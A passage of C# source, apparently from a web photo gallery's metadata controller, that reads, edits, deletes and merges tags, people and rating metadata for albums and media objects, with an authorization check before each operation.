go = Factory.LoadAlbumInstance(galleryObjectId, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.ViewAlbumOrMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Id, go.GalleryId, Utils.IsAuthenticated, go.IsPrivate, ((IAlbum)go).IsVirtualAlbum);
}
else
{
go = Factory.LoadMediaObjectInstance(galleryObjectId);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.ViewAlbumOrMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Parent.Id, go.GalleryId, Utils.IsAuthenticated, go.Parent.IsPrivate, ((IAlbum)go.Parent).IsVirtualAlbum);
}
bool isEditable = Factory.LoadGallerySetting(go.GalleryId).MetadataDisplaySettings.Find(md.MetadataItemName).IsEditable;
return new Entity.MetaItem
{
Id = md.MediaObjectMetadataId,
MediaId = galleryObjectId,
MTypeId = (int)md.MetadataItemName,
GTypeId = (int)goType,
Desc = md.Description,
Value = md.Value,
IsEditable = isEditable
};
}
/// <summary>
/// Gets the requested <paramref name="metaName" /> instance for the specified <paramref name="galleryObjectId" />
/// having the specified <paramref name="goType" />. Returns null if no metadata item exists.
/// Verifies user has permission to view item, throwing <see cref="GallerySecurityException" />
/// if authorization is denied.
/// </summary>
/// <param name="galleryObjectId">The ID for either an album or a media object.</param>
/// <param name="goType">The type of gallery object.</param>
/// <param name="metaName">Name of the metaitem to return.</param>
/// <returns>Returns an instance of <see cref="IGalleryObjectMetadataItemCollection" />.</returns>
/// <exception cref="GallerySecurityException">Thrown when user does not have permission to
/// view the requested item.</exception>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested meta item or its
/// associated media object does not exist in the data store.</exception>
/// <exception cref="InvalidAlbumException">Thrown when the album associated with the
/// meta item does not exist in the data store.</exception>
public static IGalleryObjectMetadataItem Get(int galleryObjectId, GalleryObjectType goType, MetadataItemName metaName)
{
// Security check: Make sure user has permission to view item
IGalleryObject go;
if (goType == GalleryObjectType.Album)
{
go = Factory.LoadAlbumInstance(galleryObjectId, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.ViewAlbumOrMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Id, go.GalleryId, Utils.IsAuthenticated, go.IsPrivate, ((IAlbum)go).IsVirtualAlbum);
}
else
{
go = Factory.LoadMediaObjectInstance(galleryObjectId);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.ViewAlbumOrMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Parent.Id, go.GalleryId, Utils.IsAuthenticated, go.Parent.IsPrivate, ((IAlbum)go.Parent).IsVirtualAlbum);
}
IGalleryObjectMetadataItem md;
GetGalleryObjectMetadataItemCollection(galleryObjectId, goType).TryGetMetadataItem(metaName, out md);
return md;
}
/// <summary>
/// Gets the meta items for specified <paramref name="galleryItems" />, merging metadata
/// when necessary. Specifically, tags and people tags are merged and updated with a count.
/// Example: "Animal (3), Dog (2), Cat (1)" indicates three of the gallery items have the
/// 'Animal' tag, two have the 'Dog' tag, and one has the 'Cat' tag. Guaranteed to not
/// return null.
/// </summary>
/// <param name="galleryItems">The gallery items for which to retrieve metadata.</param>
/// <returns>Returns a collection of <see cref="Entity.MetaItem" /> items.</returns>
/// <exception cref="InvalidAlbumException">Thrown when the requested album does not exist.</exception>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested media object does not exist.</exception>
public static IEnumerable<Entity.MetaItem> GetMetaItemsForGalleryItems(Entity.GalleryItem[] galleryItems)
{
if (galleryItems == null || galleryItems.Length == 0)
return new Entity.MetaItem[] { };
var tagNames = new[] { MetadataItemName.Tags, MetadataItemName.People };
var tagValues = new string[tagNames.Length]; // Eventually will contain the merged tag values
// Iterate through each tag type and generate the merge tag value.
for (int i = 0; i < tagNames.Length; i++)
{
var tags = GetTagListForGalleryItems(galleryItems, tagNames[i]);
tagValues[i] = GetTagsWithCount(tags);
}
// Get the metadata for the last item and merge our computed tags into it
var lastGi = galleryItems[galleryItems.Length - 1];
var meta = GetMetaItems(lastGi);
for (int i = 0; i < tagValues.Length; i++)
{
var tagMi = GetMetaItemForTag(meta, tagNames[i], lastGi);
tagMi.Value = tagValues[i];
}
return meta;
}
/// <summary>
/// Persists the metadata item to the data store. Verifies user has permission to edit item,
/// throwing <see cref="GallerySecurityException" /> if authorization is denied.
/// The value is validated before saving, and may be altered to conform to business rules,
/// such as removing HTML tags and javascript. The <paramref name="metaItem" /> is returned,
/// with the validated value assigned to the <see cref="Entity.MetaItem.Value" /> property.
///
/// The current implementation requires that an existing item exist in the data store and only
/// stores the contents of the <see cref="Entity.MetaItem.Value" /> property.
/// </summary>
/// <param name="metaItem">An instance of <see cref="Entity.MetaItem" /> to persist to the data
/// store.</param>
/// <returns>An instance of <see cref="Entity.MetaItem" />.</returns>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested meta item or its
/// associated media object does not exist in the data store.</exception>
/// <exception cref="GallerySecurityException">Thrown when user does not have permission to
/// edit the requested item.</exception>
public static Entity.MetaItem Save(Entity.MetaItem metaItem)
{
var md = Factory.LoadGalleryObjectMetadataItem(metaItem.Id);
if (md == null)
throw new InvalidMediaObjectException(String.Format("No metadata item with ID {0} could be found in the data store.", metaItem.Id));
// Security check: Make sure user has permission to edit item
IGalleryObject go;
if (metaItem.GTypeId == (int)GalleryObjectType.Album)
{
go = Factory.LoadAlbumInstance(metaItem.MediaId, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditAlbum, RoleController.GetGalleryServerRolesForUser(), go.Id, go.GalleryId, Utils.IsAuthenticated, go.IsPrivate, ((IAlbum)go).IsVirtualAlbum);
}
else
{
go = Factory.LoadMediaObjectInstance(metaItem.MediaId);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Parent.Id, go.GalleryId, Utils.IsAuthenticated, go.Parent.IsPrivate, ((IAlbum)go.Parent).IsVirtualAlbum);
}
string prevValue = md.Value;
md.Value = Utils.CleanHtmlTags(metaItem.Value, go.GalleryId);
if (md.Value != prevValue)
{
Factory.SaveGalleryObjectMetadataItem(md, Utils.UserName);
HelperFunctions.PurgeCache();
}
return metaItem;
}
/// <summary>
/// Permanently deletes the meta item from the specified gallery items.
/// </summary>
/// <param name="galleryItemTag">An instance of <see cref="Entity.GalleryItemMeta" /> containing the
/// meta item to be deleted and the gallery items from which the item is to be deleted.</param>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit one of the specified gallery items.</exception>
public static void Delete(Entity.GalleryItemMeta galleryItemTag)
{
foreach (var gi in galleryItemTag.GalleryItems)
{
IGalleryObject go;
try
{
if (gi.ItemType == (int)GalleryObjectType.Album)
{
go = Factory.LoadAlbumInstance(gi.Id, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditAlbum, RoleController.GetGalleryServerRolesForUser(), go.Id, go.GalleryId, Utils.IsAuthenticated, go.IsPrivate, ((IAlbum)go).IsVirtualAlbum);
}
else
{
go = Factory.LoadMediaObjectInstance(gi.Id);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Parent.Id, go.GalleryId, Utils.IsAuthenticated, go.Parent.IsPrivate, ((IAlbum)go.Parent).IsVirtualAlbum);
}
}
catch (InvalidAlbumException ex)
{
AppEventController.LogError(ex);
continue;
}
catch (InvalidMediaObjectException ex)
{
AppEventController.LogError(ex);
continue;
}
IGalleryObjectMetadataItem md;
go.MetadataItems.TryGetMetadataItem((MetadataItemName)galleryItemTag.MetaItem.MTypeId, out md);
if (md != null)
{
md.IsDeleted = true;
Factory.SaveGalleryObjectMetadataItem(md, Utils.UserName);
}
}
HelperFunctions.PurgeCache();
}
/// <summary>
/// Updates the specified gallery items with the specified metadata value. The property <see cref="Entity.GalleryItemMeta.ActionResult" />
/// of <paramref name="galleryItemMeta" /> is assigned when a validation error occurs, but remains null for a successful operation.
/// </summary>
/// <param name="galleryItemMeta">An object containing the metadata instance to use as the source
/// and the gallery items to be updated</param>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit one or more of the specified gallery items.</exception>
public static void SaveGalleryItemMeta(Entity.GalleryItemMeta galleryItemMeta)
{
var metaName = (MetadataItemName)galleryItemMeta.MetaItem.MTypeId;
if (metaName == MetadataItemName.Tags || metaName == MetadataItemName.People)
{
AddTag(galleryItemMeta);
}
else if (metaName == MetadataItemName.Rating)
{
PersistRating(galleryItemMeta);
}
else
{
PersistGalleryItemMeta(galleryItemMeta);
}
}
/// <summary>
/// Deletes the tags from the specified gallery items. This method is intended only for tag-style
/// metadata items, such as descriptive tags and people. It is assumed the metadata item in
/// the data store is a comma-separated list of tags, and the passed in to this method is to
/// be removed from it. No action is taken on a gallery object if the tag already exists or the
/// specified gallery object does not exist.
/// </summary>
/// <param name="galleryItemTag">An instance of <see cref="Entity.GalleryItemMeta" /> containing the tag
/// and the gallery items the tag is to be removed from.</param>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit one of the specified gallery items.</exception>
public static void DeleteTag(Entity.GalleryItemMeta galleryItemTag)
{
foreach (var gi in galleryItemTag.GalleryItems)
{
IGalleryObject go;
try
{
if (gi.ItemType == (int)GalleryObjectType.Album)
{
go = Factory.LoadAlbumInstance(gi.Id, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditAlbum, RoleController.GetGalleryServerRolesForUser(), go.Id, go.GalleryId, Utils.IsAuthenticated, go.IsPrivate, ((IAlbum)go).IsVirtualAlbum);
}
else
{
go = Factory.LoadMediaObjectInstance(gi.Id);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditMediaObject, RoleController.GetGalleryServerRolesForUser(), go.Parent.Id, go.GalleryId, Utils.IsAuthenticated, go.Parent.IsPrivate, ((IAlbum)go.Parent).IsVirtualAlbum);
}
}
catch (InvalidAlbumException ex)
{
AppEventController.LogError(ex);
continue;
}
catch (InvalidMediaObjectException ex)
{
AppEventController.LogError(ex);
continue;
}
IGalleryObjectMetadataItem md;
go.MetadataItems.TryGetMetadataItem((MetadataItemName)galleryItemTag.MetaItem.MTypeId, out md);
// Split tag into array, add it if it's not already there, and save
var tags = md.Value.Split(new string[] { ", ", "," }, StringSplitOptions.RemoveEmptyEntries).ToList();
if (tags.Contains(galleryItemTag.MetaItem.Value, StringComparer.OrdinalIgnoreCase))
{
tags.Remove(galleryItemTag.MetaItem.Value);
md.Value = String.Join(", ", tags);
Factory.SaveGalleryObjectMetadataItem(md, Utils.UserName);
}
}
HelperFunctions.PurgeCache();
}
/// <summary>
/// Rebuilds the <paramref name="metaName" /> for all items in the gallery having ID <paramref name="galleryId" />.
/// The action is executed asyncronously and returns immediately.
/// </summary>
/// <param name="metaName">Name of the meta item.</param>
/// <param name="galleryId">The gallery ID.</param>
public static void RebuildItemForGalleryAsync(MetadataItemName metaName, int galleryId)
{
var album = Factory.LoadRootAlbumInstance(galleryId);
var metaDefs = Factory.LoadGallerySetting(galleryId).MetadataDisplaySettings;
var userName = Utils.UserName;
Task.Factory.StartNew(() => StartRebuildMetaItem(metaDefs.Find(metaName), album, userName), TaskCreationOptions.LongRunning);
}
/// <summary>
/// Gets a list of tags or people corresponding to the specified <paramref name="searchOptions" />.
/// Guaranteed to not return null.
/// </summary>
/// <param name="searchOptions">The search options.</param>
/// <returns>IEnumerable{Tag}.</returns>
public static IEnumerable<Entity.Tag> GetTags(TagSearchOptions searchOptions)
{
var searcher = new TagSearcher(searchOptions);
return ToTags(searcher.Find());
}
#endregion
#region Functions
/// <summary>
/// Generate a collection of all tag values that exist associated with the specified
/// <paramref name="galleryItems" /> having the specified <paramref name="tagName" />.
/// Individual tag values will be repeated when they belong to multiple gallery items.
/// </summary>
/// <param name="galleryItems">The gallery items.</param>
/// <param name="tagName">Name of the tag.</param>
/// <returns>Returns a collection of strings.</returns>
/// <exception cref="InvalidAlbumException">Thrown when the requested album does not exist.</exception>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested media object does not exist.</exception>
private static IEnumerable<string> GetTagListForGalleryItems(IEnumerable<Entity.GalleryItem> galleryItems, MetadataItemName tagName)
{
var tagList = new List<string>();
foreach (var metas in galleryItems.Select(GetGalleryObjectMetadataItemCollection))
{
tagList.AddRange(GetTagList(metas, tagName));
}
return tagList;
}
/// <summary>
/// Gets the collection of tag values having the specified <paramref name="tagName" />.
/// </summary>
/// <param name="metas">The metadata items.</param>
/// <param name="tagName">Name of the tag.</param>
/// <returns>Returns a collection of strings.</returns>
private static IEnumerable<string> GetTagList(IGalleryObjectMetadataItemCollection metas, MetadataItemName tagName)
{
IGalleryObjectMetadataItem mdTag;
if (metas.TryGetMetadataItem(tagName, out mdTag))
{
return mdTag.Value.ToListFromCommaDelimited();
}
else
return new string[] { };
}
/// <overloads>
/// Gets the metadata collection for the specified criteria. Guaranteed to not return null.
/// </overloads>
/// <summary>
/// Gets the metadata collection for the specified <paramref name="galleryItem" />.
/// </summary>
/// <param name="galleryItem">The gallery item representing either an album or a media object.</param>
/// <returns>Returns an instance of <see cref="IGalleryObjectMetadataItemCollection" />.</returns>
/// <exception cref="InvalidAlbumException">Thrown when the requested album does not exist.</exception>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested media object does not exist.</exception>
private static IGalleryObjectMetadataItemCollection GetGalleryObjectMetadataItemCollection(Entity.GalleryItem galleryItem)
{
return GetGalleryObjectMetadataItemCollection(galleryItem.Id, (GalleryObjectType)galleryItem.ItemType);
}
/// <summary>
/// Gets the metadata collection for the specified <paramref name="galleryObjectId" /> and
/// <paramref name="goType" />.
/// </summary>
/// <param name="galleryObjectId">The ID for either an album or a media object.</param>
/// <param name="goType">The type of gallery object.</param>
/// <returns>Returns an instance of <see cref="IGalleryObjectMetadataItemCollection" />.</returns>
/// <exception cref="InvalidAlbumException">Thrown when the requested album does not exist.</exception>
/// <exception cref="InvalidMediaObjectException">Thrown when the requested media object does not exist.</exception>
private static IGalleryObjectMetadataItemCollection GetGalleryObjectMetadataItemCollection(int galleryObjectId, GalleryObjectType goType)
{
if (goType == GalleryObjectType.Album)
return Factory.LoadAlbumInstance(galleryObjectId, false).MetadataItems;
else
return Factory.LoadMediaObjectInstance(galleryObjectId).MetadataItems;
}
/// <summary>
/// Process the <paramref name="tags" /> and return a comma-delimited string containing the
/// tag values and their counts. Ex: "Animal (3), Dog (2), Cat (1)"
/// </summary>
/// <param name="tags">The tags to process.</param>
/// <returns>Returns a string.</returns>
private static string GetTagsWithCount(IEnumerable<string> tags)
{
// Group the tags by their value and build up a unique list containing the value and their
// count in parenthesis.
var tagsGrouped = new List<String>();
foreach (var item in tags.GroupBy(w => w).OrderByDescending(w => w.Count()))
{
tagsGrouped.Add(String.Format(CultureInfo.InvariantCulture, "{0} ({1})", item.Key, item.Count()));
}
return String.Join(", ", tagsGrouped);
}
private static Entity.MetaItem[] GetMetaItems(Entity.GalleryItem lastGi)
{
Entity.MetaItem[] meta;
if (lastGi.ItemType == (int)GalleryObjectType.Album)
meta = AlbumController.GetMetaItemsForAlbum(lastGi.Id);
else
meta = GalleryObjectController.GetMetaItemsForMediaObject(lastGi.Id);
return meta;
}
private static Entity.MetaItem GetMetaItemForTag(Entity.MetaItem[] meta, MetadataItemName tagName, Entity.GalleryItem galleryItem)
{
var tagMi = meta.FirstOrDefault(m => m.MTypeId == (int)tagName);
if (tagMi != null)
{
return tagMi;
}
else
{
// Last item doesn't have a tag. Create one. This code path should be pretty rare.
int galleryId;
if (galleryItem.IsAlbum)
galleryId = AlbumController.LoadAlbumInstance(galleryItem.Id, false).GalleryId;
else
galleryId = Factory.LoadMediaObjectInstance(galleryItem.Id).GalleryId;
bool isEditable = Factory.LoadGallerySetting(galleryId).MetadataDisplaySettings.Find(tagName).IsEditable;
tagMi = new Entity.MetaItem
{
Id = int.MinValue,
MediaId = galleryItem.Id,
GTypeId = galleryItem.ItemType,
MTypeId = (int)tagName,
Desc = tagName.ToString(),
Value = String.Empty,
IsEditable = isEditable
};
Array.Resize(ref meta, meta.Count() + 1);
meta[meta.Length - 1] = tagMi;
return tagMi;
}
}
/// <summary>
/// Adds the tag to the specified gallery items. This method is intended only for tag-style
/// metadata items, such as descriptive tags and people. It is assumed the metadata item in
/// the data store is a comma-separated list of tags, and the value passed in to this method is to
/// be added to it. No action is taken on a gallery object if the tag already exists or the
/// specified gallery object does not exist.
/// </summary>
/// <param name="galleryItemTag">An instance of <see cref="Entity.GalleryItemMeta" /> that defines
/// the tag value to be added and the gallery items it is to be added to.</param>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit one or more of the specified gallery items.</exception>
/// <exception cref="WebException">Thrown when the metadata instance is not a tag-style item.</exception>
private static void AddTag(Entity.GalleryItemMeta galleryItemTag)
{
var metaName = (MetadataItemName)galleryItemTag.MetaItem.MTypeId;
if (metaName != MetadataItemName.Tags && metaName != MetadataItemName.People)
throw new WebException(string.Format("The AddTag function is designed to persist tag-style metadata items. The item that was passed ({0}) does not qualify.", metaName.ToString()));
foreach (var galleryItem in galleryItemTag.GalleryItems)
{
IGalleryObject galleryObject = GetGalleryObjectAndVerifyEditPermission(galleryItem);
if (galleryObject == null)
continue;
IGalleryObjectMetadataItem md;
if (galleryObject.MetadataItems.TryGetMetadataItem((MetadataItemName)galleryItemTag.MetaItem.MTypeId, out md))
{
// Split tag into array, add it if it's not already there, and save
var tags = md.Value.Split(new string[] { ", ", "," }, StringSplitOptions.RemoveEmptyEntries).ToList();
if (!tags.Contains(galleryItemTag.MetaItem.Value, StringComparer.OrdinalIgnoreCase))
{
tags.Add(Utils.CleanHtmlTags(galleryItemTag.MetaItem.Value, galleryObject.GalleryId));
md.Value = String.Join(", ", tags);
Factory.SaveGalleryObjectMetadataItem(md, Utils.UserName);
}
}
}
HelperFunctions.PurgeCache();
}
/// <summary>
/// Updates the gallery items with the specified metadata value. The property <see cref="Entity.GalleryItemMeta.ActionResult" />
/// of <paramref name="galleryItemMeta" /> is assigned when a validation error occurs, but remains null for a successful operation.
/// </summary>
/// <param name="galleryItemMeta">An object containing the metadata instance to use as the source
/// and the gallery items to be updated.</param>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit one or more of the specified gallery items.</exception>
/// <exception cref="WebException">Thrown when the metadata instance is a tag-style item.</exception>
private static void PersistGalleryItemMeta(Entity.GalleryItemMeta galleryItemMeta)
{
var metaName = (MetadataItemName)galleryItemMeta.MetaItem.MTypeId;
if (metaName == MetadataItemName.Tags || metaName == MetadataItemName.People)
throw new WebException("The PersistGalleryItemMeta function is not designed to persist tag-style metadata items.");
foreach (var galleryItem in galleryItemMeta.GalleryItems)
{
IGalleryObject galleryObject = GetGalleryObjectAndVerifyEditPermission(galleryItem);
if (galleryObject == null)
continue;
if (galleryItemMeta.MetaItem.MTypeId == (int)MetadataItemName.Title && String.IsNullOrWhiteSpace(galleryItemMeta.MetaItem.Value) && galleryItemMeta.GalleryItems.Any(g => g.IsAlbum))
{
galleryItemMeta.ActionResult = new ActionResult()
{
Status = ActionResultStatus.Error.ToString(),
Title = "Cannot save changes",
Message = "An album title cannot be set to a blank string."
};
return;
}
IGalleryObjectMetadataItem metaItem;
if (galleryObject.MetadataItems.TryGetMetadataItem(metaName, out metaItem) && metaItem.IsEditable)
{
metaItem.Value = Utils.CleanHtmlTags(galleryItemMeta.MetaItem.Value, galleryObject.GalleryId);
Factory.SaveGalleryObjectMetadataItem(metaItem, Utils.UserName);
}
else
{
// Get a writeable instance of the gallery object and create new metadata instance.
if (galleryItem.ItemType == (int)GalleryObjectType.Album)
galleryObject = Factory.LoadAlbumInstance(galleryItem.Id, false, true);
else
galleryObject = Factory.LoadMediaObjectInstance(galleryItem.Id, true);
// Add the new metadata item.
var metaDef = Factory.LoadGallerySetting(galleryObject.GalleryId).MetadataDisplaySettings.Find(metaName);
if (metaDef.IsEditable && galleryObject.MetadataDefinitionApplies(metaDef))
{
var metaItems = Factory.CreateMetadataCollection();
metaItems.Add(Factory.CreateMetadataItem(int.MinValue, galleryObject, null, galleryItemMeta.MetaItem.Value, true, metaDef));
galleryObject.AddMeta(metaItems);
GalleryObjectController.SaveGalleryObject(galleryObject);
}
}
}
HelperFunctions.PurgeCache();
}
/// <summary>
/// Gets the gallery object for the specified <paramref name="galleryItem" /> and verifies current
/// user has edit permission, throwing a <see cref="GallerySecurityException" /> if needed. Returns
/// null if no media object or album having the requested ID exists.
/// </summary>
/// <param name="galleryItem">The gallery item.</param>
/// <returns>An instance of <see cref="IGalleryObject" /> corresponding to <paramref name="galleryItem" />.</returns>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit the specified gallery items.</exception>
private static IGalleryObject GetGalleryObjectAndVerifyEditPermission(Entity.GalleryItem galleryItem)
{
IGalleryObject galleryObject = null;
try
{
if (galleryItem.ItemType == (int)GalleryObjectType.Album)
{
galleryObject = Factory.LoadAlbumInstance(galleryItem.Id, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditAlbum, RoleController.GetGalleryServerRolesForUser(), galleryObject.Id, galleryObject.GalleryId, Utils.IsAuthenticated, galleryObject.IsPrivate, ((IAlbum)galleryObject).IsVirtualAlbum);
}
else
{
galleryObject = Factory.LoadMediaObjectInstance(galleryItem.Id);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.EditMediaObject, RoleController.GetGalleryServerRolesForUser(), galleryObject.Parent.Id, galleryObject.GalleryId, Utils.IsAuthenticated, galleryObject.Parent.IsPrivate, ((IAlbum)galleryObject.Parent).IsVirtualAlbum);
}
}
catch (InvalidAlbumException ex)
{
AppEventController.LogError(ex);
}
catch (InvalidMediaObjectException ex)
{
AppEventController.LogError(ex);
}
return galleryObject;
}
/// <summary>
/// Gets the read-only gallery object for the specified <paramref name="galleryItem" /> and verifies current
/// user has the ability to edit its rating, throwing a <see cref="GallerySecurityException" /> if needed. Returns
/// null if no media object or album having the requested ID exists.
/// </summary>
/// <param name="galleryItem">The gallery item.</param>
/// <returns>An instance of <see cref="IGalleryObject" /> corresponding to <paramref name="galleryItem" />.</returns>
/// <exception cref="GallerySecurityException">Thrown when the current user does not have
/// permission to edit the specified gallery items.</exception>
/// <remarks>Editing a rating works a little different than other metadata: Anonymous users are allowed
/// to apply a rating as long as <see cref="IGallerySettings.AllowAnonymousRating" /> is <c>true</c> and all
/// logged on users are allowed to rate an item.</remarks>
private static IGalleryObject GetGalleryObjectAndVerifyEditRatingPermission(Entity.GalleryItem galleryItem)
{
IGalleryObject galleryObject = null;
try
{
if (galleryItem.ItemType == (int)GalleryObjectType.Album)
{
galleryObject = Factory.LoadAlbumInstance(galleryItem.Id, false);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.ViewAlbumOrMediaObject, RoleController.GetGalleryServerRolesForUser(), galleryObject.Id, galleryObject.GalleryId, Utils.IsAuthenticated, galleryObject.IsPrivate, ((IAlbum)galleryObject).IsVirtualAlbum);
}
else
{
galleryObject = Factory.LoadMediaObjectInstance(galleryItem.Id);
SecurityManager.ThrowIfUserNotAuthorized(SecurityActions.ViewAlbumOrMediaObject, RoleController.GetGalleryServerRolesForUser(), galleryObject.Parent.Id, galleryObject.GalleryId, Utils.IsAuthenticated, galleryObject.Parent.IsPrivate, ((IAlbum)galleryObject.Parent).IsVirtualAlbum);
}
if (!Utils.IsAuthenticated && !Factory.LoadGallerySetting(galleryObject.GalleryId).AllowAnonymousRating)
{
// We have an anonymous user attempting to rate an item, but the AllowAnonymousRating setting is false.
galleryObject = null;
throw new GallerySecurityException(String.Format("An anonymous user is attempting to rate a gallery object ({0} ID {1}), but the gallery is configured to not allow ratings by anonymous users. The request is denied.", (GalleryObjectType)galleryItem.ItemType, galleryObject.Id));
}
}
catch (InvalidAlbumException ex)
{
AppEventController.LogError(ex);
}
catch (InvalidMediaObjectException ex)
{
AppEventController.LogError(ex);
}
return galleryObject;
}
private static void StartRebuildMetaItem(IMetadataDefinition metaDef, IGalleryObject galleryObject, string userName)
{
try
{
AppEventController.LogEvent(String.Format(CultureInfo.CurrentCulture, "INFO: Starting to rebuild metadata item '{0}' for all objects in gallery {1}.", metaDef.MetadataItem, galleryObject.GalleryId), galleryObject.GalleryId);
RebuildMetaItem(metaDef, galleryObject, userName);
HelperFunctions.PurgeCache();
AppEventController.LogEvent(String.Format(CultureInfo.CurrentCulture, "INFO: Successfully finished rebuilding metadata item '{0}' for all objects in gallery {1}.", metaDef.MetadataItem, galleryObject.GalleryId), galleryObject.GalleryId);
}
catch (Exception ex)
{
AppEventController.LogError(ex, galleryObject.GalleryId);
AppEventController.LogEvent(String.Format(CultureInfo.CurrentCulture, "CANCELLED: The rebuilding of metadata item '{0}' for all objects in gallery {1} has been cancelled due to the previously logged error.", metaDef.MetadataItem, galleryObject.GalleryId), galleryObject.GalleryId);
throw;
}
}
private static void RebuildMetaItem(IMetadataDefinition metaDef, IGalleryObject galleryObject, string userName)
{
galleryObject.ExtractMetadata(metaDef);
IGalleryObjectMetadataItem metaItem;
if (galleryObject.MetadataItems.TryGetMetadataItem(metaDef.MetadataItem, out metaItem))
{
Factory.SaveGalleryObjectMetadataItem(metaItem, userName);
}
if (galleryObject.GalleryObjectType == GalleryObjectType.Album)
{
foreach (var go in galleryObject.GetChildGalleryObjects())
{
RebuildMetaItem(metaDef, go, userName);
}
}
}
/// <summary>
/// Converts the <paramref name="tags" /> to a collection of <see cref="Entity.Tag" /> instances. Returns null if
/// <paramref name="tags" /> is null.
/// </summary>
/// <param name="tags">The tags to convert.</param>
/// <returns>IEnumerable{Entity.Tag}.</returns>
private static IEnumerable<Entity.Tag> ToTags(IEnumerable<string> tags)
{
return (tags == null ? null : tags.Select(t => new Entity.Tag { Value = t }));
}
/// <summary>
/// Apply a user's rating to the gallery items specified in <paramref name="galleryItemMeta" /> and persist to the
/// data store. A record of the user's rating is stored in their profile. If rating is not a number, then no action
/// is taken. If rating is less than 0 or greater than 5, it is assigned to 0 or 5 so that the value is guaranteed
/// to be between those values.
/// </summary>
/// <param name="galleryItemMeta">An instance containing the rating metadata item and the gallery objects to which
/// it applies.</param>
/// <exception cref="WebException">Thrown when the metadata item is not <see cref="MetadataItemName.Rating" />.</exception>
private static void PersistRating(Entity.GalleryItemMeta galleryItemMeta)
{
var metaName = (MetadataItemName)galleryItemMeta.MetaItem.MTypeId;
if (metaName != MetadataItemName.Rating)
throw new WebException(string.Format("The PersistRating function is designed to store 'Rating' metadata items, but {0} was passed.", metaName));
// If rating is not a number, then return without doing anything; otherwise verify rating is between 0 and 5.
const byte minRating = 0;
const byte maxRating = 5;
float rating;
if (Single.TryParse(galleryItemMeta.MetaItem.Value, out rating))
{
if (rating < minRating)
galleryItemMeta.MetaItem.Value = minRating.ToString(CultureInfo.InvariantCulture);
if (rating > maxRating)
galleryItemMeta.MetaItem.Value = maxRating.ToString(CultureInfo.InvariantCulture);
}
else
return; // Can't parse rating, so return without doing anything
foreach (var galleryItem in galleryItemMeta.GalleryItems)
{
IGalleryObject galleryObject = GetGalleryObjectAndVerifyEditRatingPermission(galleryItem);
if (galleryObject == null)
continue;
IGalleryObjectMetadataItem ratingItem;
if (galleryObject.MetadataItems.TryGetMetadataItem(metaName, out ratingItem))
{
if (ratingItem.IsEditable)
{
// We have an existing rating item. Incorporate the user's rating into the average and persist.
ratingItem.Value = CalculateAvgRating(galleryObject, ratingItem, galleryItemMeta.MetaItem.Value);
Factory.SaveGalleryObjectMetadataItem(ratingItem, Utils.UserName);
PersistRatingInUserProfile(galleryObject.Id, galleryItemMeta.MetaItem.Value);
}
}
else
{
// No rating item found for this gallery item. Create one (if business rules allow).
var metaDefRating = Factory.LoadGallerySetting(galleryObject.GalleryId).MetadataDisplaySettings.Find(metaName);
if (metaDefRating.IsEditable && galleryObject.MetadataDefinitionApplies(metaDefRating))
{
var metaItems = Factory.CreateMetadataCollection();
var newRatingItem = Factory.CreateMetadataItem(int.MinValue, galleryObject, null, galleryItemMeta.MetaItem.Value, true, metaDefRating);
metaItems.Add(newRatingItem);
galleryObject.AddMeta(metaItems);
var ratingCountItem = GetRatingCountMetaItem(galleryObject);
ratingCountItem.Value = "1"; // This is the first rating
Factory.SaveGalleryObjectMetadataItem(newRatingItem, Utils.UserName);
Factory.SaveGalleryObjectMetadataItem(ratingCountItem, Utils.UserName);
PersistRatingInUserProfile(galleryItem.Id, galleryItemMeta.MetaItem.Value);
}
}
}
HelperFunctions.PurgeCache();
}
/// <summary>
/// Incorporate the new <paramref name="userRatingStr" /> into the current <paramref name="ratingItem" />
/// belonging to the <paramref name="galleryObject" />. Automatically increments and saves the rating count
/// meta item. Detects when a user has previously rated the item and reverses the effects of the previous
/// rating before applying the new one. Returns a <see cref="System.Single" /> converted to a string to 4
/// decimal places (e.g. "2.4653").
/// </summary>
/// <param name="galleryObject">The gallery object being rated.</param>
/// <param name="ratingItem">The rating metadata item.</param>
/// <param name="userRatingStr">The user rating to be applied to the gallery object rating.</param>
/// <returns>Returns a <see cref="System.String" /> representing the new rating.</returns>
private static string CalculateAvgRating(IGalleryObject galleryObject, IGalleryObjectMetadataItem ratingItem, string userRatingStr)
{
var ratingCountItem = GetRatingCountMetaItem(galleryObject);
int ratingCount;
Int32.TryParse(ratingCountItem.Value, out ratingCount);
float currentAvgRating, userRating;
Single.TryParse(ratingItem.Value, out currentAvgRating);
Single.TryParse(userRatingStr, out userRating);
var moProfile = ProfileController.GetProfile().MediaObjectProfiles.Find(ratingItem.GalleryObject.Id);
if (moProfile != null)
{
// User has previously rated this item. Reverse the influence that rating had on the item's average rating.
currentAvgRating = RemoveUsersPreviousRating(ratingItem.Value, ratingCount, moProfile.Rating);
